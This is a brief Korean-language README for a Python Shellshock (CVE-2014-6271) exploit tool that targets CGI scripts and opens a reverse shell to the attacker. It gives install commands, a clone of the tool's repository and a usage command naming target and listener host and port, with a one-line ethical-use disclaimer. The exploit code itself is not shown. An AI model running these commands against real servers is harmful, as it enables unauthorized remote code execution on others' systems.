🚨 Shellshock RCE 익스플로잇 (CVE-2014-6271)

GNU Bash에 영향을 미치는 Shellshock 취약점 (CVE-2014-6271)에 대한 Python 익스플로잇입니다. 이 익스플로잇은 취약한 웹 서버의 CGI 스크립트를 대상으로 하며 공격자 머신에 리버스 셸을 구축합니다.

CVE ID

CVE-2014-6271

면책 조항

이 도구는 교육 및 윤리적 목적으로만 사용됩니다.

기능

• Shellshock을 사용하여 취약한 CGI 스크립트를 익스플로잇
• 리버스 셸 핸들러
• 지원:
  • HTTP 및 HTTPS
  • 사용자 지정 CGI 경로
  • 프록시 지원
• 성공 시 인터랙티브 셸

CVE 정보

• CVE: CVE-2014-6271
• 취약점: GNU Bash 환경 변수 명령 주입
• 영향: CGI 애플리케이션에 조작된 헤더를 통한 원격 코드 실행 (RCE)

요구 사항

• Python 3.x
• pwntools
• requests

설치

sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

사용 예시

python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cg